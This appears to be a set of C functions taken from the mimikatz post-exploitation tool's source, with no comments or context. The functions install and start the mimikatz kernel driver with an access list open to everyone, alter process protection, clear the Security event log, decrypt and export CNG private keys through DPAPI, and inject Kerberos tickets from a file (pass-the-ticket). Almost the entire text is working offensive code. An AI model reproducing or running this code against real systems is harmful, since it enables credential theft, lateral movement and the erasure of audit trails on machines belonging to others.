protectInfos.SignatureProtection.Protection.Type, protectInfos.SignatureProtection.Protection.Audit, protectInfos.SignatureProtection.Protection.Signer); kull_m_kernel_mimidrv_simple_output(IOCTL_MIMIDRV_PROCESS_PROTECT, &protectInfos, sizeof(MIMIDRV_PROCESS_PROTECT_INFORMATION)); } else PRINT_ERROR(L"No PID\n"); } else PRINT_ERROR(L"Protected process not available before Windows Vista\n"); return STATUS_SUCCESS; }
NTSTATUS kuhl_m_crypto_l_stores(int argc, wchar_t * argv[]) { DWORD dwSystemStore, nbStore = 0; PCWCHAR szSystemStore; kull_m_string_args_byName(argc, argv, L"systemstore", &szSystemStore, kuhl_m_crypto_system_stores[0].name); dwSystemStore = kuhl_m_crypto_system_store_to_dword(szSystemStore); kprintf(L"Asking for System Store \'%s\' (0x%08x)\n", szSystemStore, dwSystemStore); if(!CertEnumSystemStore(dwSystemStore, NULL, &nbStore, kuhl_m_crypto_l_stores_enumCallback_print)) PRINT_ERROR_AUTO(L"CertEnumSystemStore"); return STATUS_SUCCESS; }
NTSTATUS kuhl_m_kernel_add_mimidrv(int argc, wchar_t * argv[]) { wchar_t *absFile, file[] = MIMIKATZ_DRIVER L".sys"; SC_HANDLE hSC = NULL, hS = NULL; if(hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE)) { if(hS = OpenService(hSC, MIMIKATZ_DRIVER, SERVICE_START)) { kprintf(L"[+] mimikatz driver already registered\n"); } else { if(GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) { kprintf(L"[*] mimikatz driver not present\n"); if(kull_m_file_getAbsolutePathOf(file, &absFile)) { if(kull_m_file_isFileExist(absFile)) { if(hS = CreateService(hSC, MIMIKATZ_DRIVER, L"mimikatz driver (" MIMIKATZ_DRIVER L")", READ_CONTROL | WRITE_DAC | SERVICE_START, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, absFile, NULL, NULL, NULL, NULL, NULL)) { kprintf(L"[+] mimikatz driver successfully registered\n"); if(kuhl_m_kernel_addWorldToMimikatz(hS)) kprintf(L"[+] mimikatz driver ACL to everyone\n"); else PRINT_ERROR_AUTO(L"kuhl_m_kernel_addWorldToMimikatz"); } else PRINT_ERROR_AUTO(L"CreateService"); } else PRINT_ERROR_AUTO(L"kull_m_file_isFileExist"); LocalFree(absFile); } else PRINT_ERROR_AUTO(L"kull_m_file_getAbsolutePathOf"); } else PRINT_ERROR_AUTO(L"OpenService"); } if(hS) { if(StartService(hS, 0, NULL)) kprintf(L"[+] mimikatz driver started\n"); else if(GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) kprintf(L"[*] mimikatz driver already started\n"); else PRINT_ERROR_AUTO(L"StartService"); CloseServiceHandle(hS); } CloseServiceHandle(hSC); } else PRINT_ERROR_AUTO(L"OpenSCManager(create)"); return STATUS_SUCCESS; }
NTSTATUS kuhl_m_kernel_remove_mimidrv(int argc, wchar_t * argv[]) { BOOL toRemove = TRUE; if(kull_m_service_stop(MIMIKATZ_DRIVER)) kprintf(L"[+] mimikatz driver stopped\n"); else if(GetLastError() == ERROR_SERVICE_NOT_ACTIVE) kprintf(L"[*] mimikatz driver not running\n"); else { toRemove = FALSE; PRINT_ERROR_AUTO(L"kull_m_service_stop"); } if(toRemove) { if(kull_m_service_remove(MIMIKATZ_DRIVER)) kprintf(L"[+] mimikatz driver removed\n"); else PRINT_ERROR_AUTO(L"kull_m_service_remove"); } return STATUS_SUCCESS; }
NTSTATUS genericFunction(KUHL_M_SERVICE_FUNC function, wchar_t * text, int argc, wchar_t * argv[]) { if(argc) { kprintf(L"%s \'%s\' service : ", text, argv[0]); if(function(argv[0])) kprintf(L"OK\n"); else PRINT_ERROR_AUTO(L"Service operation"); } else PRINT_ERROR(L"Missing service name argument\n"); return STATUS_SUCCESS; }
NTSTATUS kuhl_m_event_clear(int argc, wchar_t * argv[]) { HANDLE hEventLog; PCWCHAR szLog; DWORD nbEvents; kull_m_string_args_byName(argc, argv, L"log", &szLog, L"Security"); kprintf(L"Using \"%s\" event log :\n", szLog); if(hEventLog = OpenEventLog(NULL, szLog)) { if(GetNumberOfEventLogRecords(hEventLog, &nbEvents)) kprintf(L"- %u event(s)\n", nbEvents); if(ClearEventLog(hEventLog, NULL)) kprintf(L"- Cleared !\n"); else PRINT_ERROR_AUTO(L"ClearEventLog"); if(GetNumberOfEventLogRecords(hEventLog, &nbEvents)) kprintf(L"- %u event(s)\n", nbEvents); } else PRINT_ERROR_AUTO(L"OpenEventLog"); return STATUS_SUCCESS; }
NTSTATUS kuhl_m_token_whoami(int argc, wchar_t * argv[]) { HANDLE hToken; kprintf(L" * Process Token : "); if(OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { kuhl_m_token_displayAccount(hToken); CloseHandle(hToken); } else PRINT_ERROR_AUTO(L"OpenProcessToken"); kprintf(L" * Thread Token : "); if(OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, TRUE, &hToken)) { kuhl_m_token_displayAccount(hToken); CloseHandle(hToken); } else if(GetLastError() == ERROR_NO_TOKEN) kprintf(L"no token\n"); else PRINT_ERROR_AUTO(L"OpenThreadToken"); return STATUS_SUCCESS; }
NTSTATUS kuhl_m_process_start(int argc, wchar_t * argv[]) { PCWCHAR commandLine; PROCESS_INFORMATION informations; if(argc) { commandLine = argv[argc - 1]; kprintf(L"Trying to start \"%s\" : ", commandLine); if(kull_m_process_create(KULL_M_PROCESS_CREATE_NORMAL, commandLine, 0, NULL, 0, NULL, NULL, NULL, &informations, TRUE)) kprintf(L"OK ! (PID %u)\n", informations.dwProcessId); else PRINT_ERROR_AUTO(L"kull_m_process_create"); } return STATUS_SUCCESS; }
NTSTATUS kuhl_m_dpapi_keys_cng(int argc, wchar_t * argv[]) { PBYTE file; PVOID out; DWORD szFile, outLen, cbProperties; PKULL_M_KEY_CNG_BLOB cngKey; PKULL_M_KEY_CNG_PROPERTY * properties; LPCWSTR infile; PWSTR name; if(kull_m_string_args_byName(argc, argv, L"in", &infile, NULL)) { if(kull_m_file_readData(infile, (PBYTE *) &file, &szFile)) { if(cngKey = kull_m_key_cng_create(file)) { kull_m_key_cng_descr(0, cngKey); if(kuhl_m_dpapi_unprotect_raw_or_blob(cngKey->pPrivateProperties, cngKey->dwPrivatePropertiesLen, NULL, argc, argv, KIWI_DPAPI_ENTROPY_CNG_KEY_PROPERTIES, sizeof(KIWI_DPAPI_ENTROPY_CNG_KEY_PROPERTIES), &out, &outLen, L"Decrypting Private Properties:\n")) { if(kull_m_key_cng_properties_create(out, outLen, &properties, &cbProperties)) { kull_m_key_cng_properties_descr(0, properties, cbProperties); kull_m_key_cng_properties_delete(properties, cbProperties); } LocalFree(out); } if(kuhl_m_dpapi_unprotect_raw_or_blob(cngKey->pPrivateKey, cngKey->dwPrivateKeyLen, NULL, argc, argv, KIWI_DPAPI_ENTROPY_CNG_KEY_BLOB, sizeof(KIWI_DPAPI_ENTROPY_CNG_KEY_BLOB), &out, &outLen, L"Decrypting Private Key:\n")) { kull_m_string_wprintf_hex(out, outLen, 0);kprintf(L"\n"); if(name = (PWSTR) LocalAlloc(LPTR, cngKey->dwNameLen + sizeof(wchar_t))) { RtlCopyMemory(name, cngKey->pName, cngKey->dwNameLen); kuhl_m_crypto_exportRawKeyToFile(out, outLen, TRUE, L"raw", 0, name, TRUE, TRUE); LocalFree(name); } LocalFree(out); } kull_m_key_cng_delete(cngKey); } LocalFree(file); } else PRINT_ERROR_AUTO(L"kull_m_file_readData"); } else PRINT_ERROR(L"Input CNG private key file needed (/in:file)\n"); return STATUS_SUCCESS; }
BOOL kull_m_kernel_ioctl(PCWSTR driver, DWORD ioctlCode, PVOID bufferIn, DWORD szBufferIn, PVOID * pBufferOut, PDWORD pSzBufferOut, BOOL autobuffer) { BOOL status = FALSE; HANDLE hDriver; hDriver = CreateFile(driver, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if(hDriver && hDriver != INVALID_HANDLE_VALUE) { status = kull_m_kernel_ioctl_handle(hDriver, ioctlCode, bufferIn, szBufferIn, pBufferOut, pSzBufferOut, autobuffer); CloseHandle(hDriver); } else PRINT_ERROR_AUTO(L"CreateFile"); return status; }
void kuhl_m_kerberos_ptt_file(PCWCHAR filename) { PBYTE fileData; DWORD fileSize; NTSTATUS status; if(kull_m_file_readData(filename, &fileData, &fileSize)) { status = kuhl_m_kerberos_ptt_data(fileData, fileSize); if(NT_SUCCESS(status)) kprintf(L"OK\n"); else PRINT_ERROR(L"LsaCallKerberosPackage %08x\n", status); LocalFree(fileData); } else PRINT_ERROR_AUTO(L"kull_m_file_readData"); }